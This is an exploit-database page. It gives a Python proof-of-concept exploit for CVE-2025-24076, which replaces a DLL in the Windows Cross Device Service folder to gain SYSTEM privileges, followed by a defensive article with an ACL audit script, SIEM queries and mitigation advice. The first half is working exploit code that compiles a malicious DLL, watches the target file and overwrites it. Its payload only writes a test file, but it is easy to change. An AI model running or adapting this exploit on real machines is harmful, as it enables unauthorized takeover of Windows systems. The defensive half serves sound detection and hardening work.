Microsoft Windows 11 Version 24H2 Cross Device Service - Elevation of Privilege

Exploit Author: Mohammed Idrees Banyamer Analysis Author: www.bubbleslearn.ir Category: Local Language: Python Published Date: 2025-06-09 
#!/usr/bin/env python3
# Exploit Title: Microsoft Windows 11 Version 24H2 Cross Device Service - Elevation of Privilege
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-06-06
# Tested on: Windows 11 Version 24H2 for x64-based Systems (10.0.26100.3476)
# CVE: CVE-2025-24076
#
# Affected Versions:
# - Windows 11 Version 24H2 (x64 and ARM64)
# - Windows 11 Version 23H2 (x64 and ARM64)
# - Windows 11 Version 22H2 (x64 and ARM64)
# - Windows Server 2025
# - Windows Server 2022 23H2 (Server Core installation)
#
# Type: Elevation of Privilege
# Platform: Microsoft Windows
# Author Country: Jordan
# CVSS v3.1 Score: 7.3 (Important)
# Weakness: CWE-284: Improper Access Control
# Attack Vector: Local
# Privileges Required: Low
# User Interaction: Required
# Scope: Unchanged
# Confidentiality, Integrity, Availability Impact: High
# Exploit Code Maturity: Unproven
# Remediation Level: Official Fix
# Description:
# This vulnerability affects Microsoft Windows 11 (various versions including 24H2, 23H2, and 22H2)
# and Windows Server 2025. It targets improper access control in the Windows Cross Device Service,
# allowing a low-privileged local attacker to overwrite a critical DLL file (CrossDevice.Streaming.Source.dll)
# in a writable directory. After triggering user interaction by opening Windows "Mobile devices" Settings,
# the attacker can replace the DLL with a malicious version, leading to SYSTEM privilege escalation.
#
# Steps of exploitation:
# 1. Verify the presence of the vulnerable DLL in the writable directory.
# 2. Build a malicious DLL that executes code with SYSTEM privileges upon loading.
# 3. Backup the original DLL to allow recovery.
# 4. Trigger the DLL load by instructing the user to open the "Mobile devices" Settings page.
# 5. Wait until the DLL is unlocked and replace it with the malicious DLL.
# 6. Achieve SYSTEM privileges when the system loads the malicious DLL.
#
# This exploit requires low privileges and user interaction but has low attack complexity
# and results in high impact due to full privilege escalation.
#



import os
import shutil
import time
from pathlib import Path
import subprocess

# Target DLL name based on vulnerability research
DLL_NAME = "CrossDevice.Streaming.Source.dll"
TARGET_PATH = Path("C:/ProgramData/CrossDevice")
MALICIOUS_DLL = Path("malicious.dll")
BACKUP_ORIGINAL_DLL = Path("original_backup.dll")

# C source code for malicious DLL
MALICIOUS_C_CODE = r'''
#include <windows.h>
#include <stdio.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        FILE *file = fopen("C:\\poc_only_admin_can_write_to_c.txt", "w");
        if (file) {
            fputs("Exploit succeeded! You have SYSTEM privileges.\n", file);
            fclose(file);
        }
    }
    return TRUE;
}
'''

def build_malicious_dll():
    print("[*] Building malicious DLL from C source...")
    c_file = Path("malicious.c")
    # Write C source code to file
    with open(c_file, "w") as f:
        f.write(MALICIOUS_C_CODE)
    # Compile DLL using gcc (MinGW)
    compile_cmd = [
        "gcc", "-shared", "-o", str(MALICIOUS_DLL), str(c_file),
        "-Wl,--subsystem,windows"
    ]
    try:
        subprocess.run(compile_cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        print(f"[+] Malicious DLL built successfully: {MALICIOUS_DLL}")
        # Clean up C source file
        c_file.unlink()
        return True
    except subprocess.CalledProcessError as e:
        print("[!] Failed to build malicious DLL.")
        print("gcc output:", e.stderr.decode())
        return False

def is_vulnerable():
    if not TARGET_PATH.exists():
        print("[!] Target directory not found.")
        return False
    dll_path = TARGET_PATH / DLL_NAME
    if not dll_path.exists():
        print("[!] Target DLL not found.")
        return False
    print("[+] System appears vulnerable, DLL found in a writable path.")
    return True

def backup_original():
    dll_path = TARGET_PATH / DLL_NAME
    backup_path = TARGET_PATH / BACKUP_ORIGINAL_DLL
    shutil.copyfile(dll_path, backup_path)
    print(f"[+] Backup created at: {backup_path}")

def replace_with_malicious():
    dll_path = TARGET_PATH / DLL_NAME
    try:
        shutil.copyfile(MALICIOUS_DLL, dll_path)
        print("[+] Successfully replaced the DLL with malicious version.")
        return True
    except PermissionError:
        print("[!] Cannot write to DLL. Make sure the process using it is stopped.")
        return False

def monitor_and_replace():
    dll_path = TARGET_PATH / DLL_NAME
    print("[*] Monitoring DLL until it is unlocked...")
    while True:
        try:
            with open(dll_path, 'rb+') as f:
                print("[+] File is unlocked. Attempting replacement...")
                time.sleep(0.5)
                return replace_with_malicious()
        except PermissionError:
            time.sleep(0.5)

def trigger_com():
    print("[*] To trigger DLL load, please open Windows Settings -> Mobile devices")
    input("[*] After opening Settings, press Enter to continue...")

def main():
    if not build_malicious_dll():
        return
    if not is_vulnerable():
        return

    backup_original()
    trigger_com()

    success = monitor_and_replace()
    if success:
        print("[✓] Exploit completed successfully. Check results (e.g., C:\\poc_only_admin_can_write_to_c.txt).")
    else:
        print("[✗] Exploit failed.")

if __name__ == "__main__":
    main()


Microsoft Windows 11 (24H2) Cross Device Service — Vulnerability Overview and Defensive Guidance

This article provides a security-focused, defensive examination of the vulnerability disclosed as CVE-2025-24076 affecting Microsoft Windows Cross Device functionality in recent Windows 11 and Windows Server releases. The goal is to explain the nature and impact of the issue at a high level, outline detection and mitigation strategies, and provide actionable defensive examples for security teams — without reproducing exploit code or step-by-step offensive techniques.

Executive summary

CVE-2025-24076 is an elevation-of-privilege vulnerability caused by improper access control in a Windows service component related to cross-device functionality. A local attacker with low privileges could leverage the flaw to cause a privileged process to load tampered code, resulting in a high-impact privilege escalation. Microsoft has classified the issue with significant severity and published vendor advisories and fixes.

Field Value
CVE CVE-2025-24076
Affected products Windows 11 (multiple recent releases), Windows Server variants (as disclosed)
Impact Local privilege escalation (High)
Attack vector Local, requires user interaction in some disclosed cases
Mitigation Apply vendor patches; harden file/ACLs; application control (WDAC/AppLocker)

What the vulnerability is — in plain terms

  • The root cause is an access control weakness: a system component is loading code (a DLL or plugin) from a location that is writable by non-privileged users.
  • If a privileged process later loads that component, an attacker who can replace or tamper with the file can get the privileged process to execute attacker-controlled code.
  • Because the issue involves DLL-load behavior and file system permissions, the exposure is controlled by where the component resides and who can write to that path.

Why this matters

  • Local privilege escalation is frequently used during lateral movement or post-exploitation to gain full system control.
  • It enables persistence and stealthy operations under SYSTEM privileges when combined with other techniques.
  • Organizations that allow users to install or write to shared system locations (e.g., misconfigured ProgramData folders, legacy installers) are at higher risk.

High-level risk assessment and attacker model

Attacker capabilities required:

  • Local access to the machine (interactive or via an unprivileged local account).
  • Ability to place or modify a file in a writable location accessible to a higher-privilege component.
  • In some reported cases, minimal user interaction (e.g., launching a UI that triggers loading of the component) is required.

Given the above, prioritize this vulnerability for systems where untrusted users or installers can write to directories that are later used by privileged processes.

Detection and hunting

Defenders should look for indicators of insecure component locations and anomalous attempts to write to system-scope directories. The following detection guidance focuses on enumeration and logging; it purposely avoids instructions that facilitate exploitation.

Audit file system permissions (PowerShell example)

#
# Defensive PowerShell: Enumerate directories used by services and check ACLs
# This script lists service binary paths and reports directories where non-admin principals
# have write permissions. Use in read-only / audit mode only.
#
Get-WmiObject -Class Win32_Service |
  Select-Object Name, State, StartName, PathName |
  ForEach-Object {
    $svc = $_
    $path = $svc.PathName -replace '".*"', ''     # remove quoted args
    $exe = ($path -split '\s+')[0]
    if (Test-Path $exe) {
      $dir = Split-Path $exe -Parent
      try {
        $acl = Get-Acl -Path $dir -ErrorAction Stop
        $writable = $false
        foreach ($ace in $acl.Access) {
          if ($ace.FileSystemRights -band `
              ( [System.Security.AccessControl.FileSystemRights]::Modify -bor `
                [System.Security.AccessControl.FileSystemRights]::Write ) ) {
            if ($ace.IdentityReference -notlike "*Administrators*" -and $ace.IdentityReference -notlike "*SYSTEM*") {
              $writable = $true
            }
          }
        }
        [PSCustomObject]@{
          Service  = $svc.Name
          Path     = $exe
          Directory= $dir
          WritableByNonAdmin = $writable
        }
      } catch {
        Write-Warning "Failed to read ACL for $dir : $_"
      }
    }
  } | Where-Object { $_.WritableByNonAdmin -eq $true } | Format-Table -AutoSize

Explanation: This defensive script enumerates installed Windows services and inspects the ACLs of the directories that contain their executables. It flags directories where non-admin principals have write/modify access. Security teams can use the output to harden permissions or apply application control.

SIEM hunting examples (conceptual)

  • Windows Security/Evtx: Monitor for Object Access events (e.g., Event ID 4663) involving write operations to system- or service-related directories (Program Files, ProgramData, service executable directories).
  • Process creation monitoring: Alert on processes that write to system-service directories or create files with DLL-like extensions in those locations.
  • File monitoring: Watch for unexpected new or replaced DLLs under directories used by privileged services and correlate with user/process that performed the write.

# Splunk example (conceptual)
index=wineventlog EventCode=4663
| where Object_Name like "%\\ProgramData\\%" OR Object_Name like "%\\Program Files\\%"
| where Accesses="%%4416" OR Accesses like "%WriteData%Write%"
| stats count by Object_Name, Account_Name, Process_Name, _time

Explanation: The conceptual SIEM query filters object-access events for writes to common system directories and aggregates by object, account, and process. Use this as a baseline and tune to reduce false positives for legitimate software updates.

Mitigation and remediation strategies

Apply these layered mitigations immediately and prioritize patching when vendor updates are available.

  • Apply vendor updates — install the official security update or hotfix from Microsoft as the primary remediation.
  • Restrict file system ACLs — ensure that system and service directories are writable only by Administrators and SYSTEM. Remove write permissions for Users/Authenticated Users where not required.
  • Implement application control — enable Windows Defender Application Control (WDAC) or AppLocker to prevent unapproved code from running in privileged contexts.
  • Harden installer behavior — require elevation for installers and use signed installers from trusted vendors rather than allowing user-writable code paths in system locations.
  • Least privilege — reduce the number of local accounts with write access to shared system paths and enforce endpoint configuration baselines.
  • Monitor updates and agent activity — ensure software update components and remote management agents operate with secure, documented file locations.

Recommended short-term controls (compensating)

  • Apply Group Policy to set NTFS permissions on high-value directories.
  • Restrict interactive users from installing applications to machine-wide locations unless explicitly permitted.
  • Enable enhanced logging for file creation/rename events in sensitive directories and forward to central monitoring.

Incident response and recovery

If you suspect exploitation related to this class of vulnerability:

  • Isolate affected hosts from the network to prevent lateral movement.
  • Collect volatile and persistent artifacts: running processes, loaded modules, file system timestamps, and system event logs.
  • Validate integrity of service binaries and components against known-good copies or vendor-provided images.
  • Restore compromised components from trusted backups or reimage the host if full recovery of integrity cannot be assured.
  • Rotate credentials and review privileged account activity for suspicious actions performed while escalation may have occurred.

Safe research and responsible disclosure

Security researchers should follow responsible disclosure practices:

  • Report the issue privately to the vendor and provide sufficient detail for analysis and remediation.
  • Avoid releasing proof-of-concept code or detailed exploitation steps prior to a public patch window, to minimize abuse.
  • Coordinate public advisories with the vendor’s advisory and CVE timeline.

Best practices to reduce DLL-load and component tampering risks

  • Follow secure deployment guidelines: store service binaries in directories with strict ACLs.
  • Prefer signed binaries and verify signatures prior to loading when possible.
  • Use process isolation and least privilege for services that interact with user content.
  • Enforce code integrity policies (WDAC/AppLocker) on high-value or high-risk endpoints.
  • Regularly scan and remediate overly permissive ACLs across your estate.

Further reading and resources

  • Vendor security advisory and patch notes (consult Microsoft Security Update Guide).
  • Guides on implementing WDAC and AppLocker for enterprise application control.
  • Microsoft guidance on securing service file locations and NTFS ACL hardening.
  • SIEM vendor documentation for tuning Object Access and process creation detections.

Concluding guidance

Vulnerabilities that allow local privilege escalation via tampering of components loaded by privileged processes are high-risk. The fastest and most reliable remediation is to install vendor patches. In parallel, apply defense-in-depth measures — harden file permissions, enforce application control, and increase logging and monitoring — to reduce the attack surface and detect suspicious activity early.